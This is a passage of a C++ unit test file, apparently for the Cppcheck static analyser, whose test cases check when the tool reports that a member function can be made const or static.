mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n 